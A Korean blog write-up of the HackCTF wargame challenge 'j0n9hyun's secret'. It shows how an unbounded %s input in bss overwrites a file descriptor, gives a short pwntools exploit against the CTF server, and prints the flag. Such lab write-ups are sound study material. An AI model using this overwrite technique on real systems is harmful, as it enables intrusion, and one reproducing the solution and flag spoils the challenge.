[Pwnable] j0n9hyun's secret
Wargame/HackCTF

[Pwnable] j0n9hyun's secret

이번에는 j0n9hyun's secret이다.

 

바로 mitigation check!

Partial Relro, no canary, NX, none pie

 

보호기법이 많이 걸려있지는 않아서 익스가 힘들거 같지는 않다.

 

바로 코드부터 살펴보자

 

main이 잡히지 않고 이상한 함수들도 엄청 많은걸 보니

stripped + statically linked binary인거 같다.

 

start

그럼 start 함수의 첫번째 인자(sub_4009C9)가 main 함수이므로 바로 살펴보자

 

stripped binary라 잘 봐서는 모르겠다.

 

코드만 보고 대충 유추를 해보면 "input name:"이라는 내용을 출력하고

%s format string이 있으니까 문자열을 입력받는거 같다.

 

그리고 나머지는 알아볼 수 없으니 한번 바이너리를 실행시켜보자

 

대충 예상한것과 비슷하게 사용자에게 문자열을 입력받는다.

 

그리고 flag라는 파일과 top_secret이라는 파일이 생성된다.

 

그럼 위 main 코드에서

 

dword_6CCE98 = sub_43F670("top_secret", 114LL); 이 부분을 파일 입출력과 연관시켜서

 

fp = fopen("top_secret", 114LL); 요로코롬 바꿔줄 수 있겠다.

 

그리고 다른 함수들도 IDA로 보면

sub_43F6D0
sub_43F730

sys_read, sys_write를 호출하는것을 봐서 read와 write라는것을 알 수 있다.

 

내가 임의대로 코드들을 수정햇다.

 

여기서 유추할 수 있는 점은 top_secret에 내용을 읽어야 될 거 같다.

 

이제 bp 걸고 디버깅을 해보자

fopen 직후인데 rax가 4이므로 fp는 4이다.

 

그럼 여기서 문제가 생긴다.

 

우리는 read의 인자 중 file descriptor로 들어가는 값이 3이여야지

파일의 내용을 읽어올 수 있다.

 

한마디로 지금 read(fp=3, buf, length)가 되야되는데

read(fp = 4, buf, length)가 되어버린것이다.

 

그럼 우리는 fp의 값을 바꿔야한다.

 

fp의 값을 바꾸는 방법은 꽤나 간단하다.

name을 입력받는 부분의 format string의 %s라 length check를 해주지 않는다.

그리고 입력받는 곳도 bss 영역이고, fp도 bss 영역이기 때문에

입력받는 곳과 fp 사이의 거리를 dummy로 채워주고

fp를 우리가 원하는 값(3)으로 overwrite 시켜주면 된다.

 

간단하기 때문에 바로 익스를 짜보자

input과 fp 사이 거리값 = 312(dummy)

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz",  3031)

payload = ""
payload += "A" * 0x138
payload += p64(3)

p.sendlineafter(": ", payload)
p.interactive()

 

요래 짜주면 된다.

그럼 flag를 뱉는다.

 

이 문제는 어려운 문제는 아니고 stripped + statically linked binary를 분석할 수 있는지

확인하는 문제인거 같다.

 

FLAG = HackCTF{ez_fd_0v4rwr1t4}

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] Unexploitable #2  (0) 2021.10.18
[Pwnable] World Best Encryption Tool  (0) 2021.10.18
[Pwnable] Register  (0) 2021.10.18
[Pwnable] RTC  (0) 2021.10.18
[Pwnable] SysROP  (0) 2021.03.08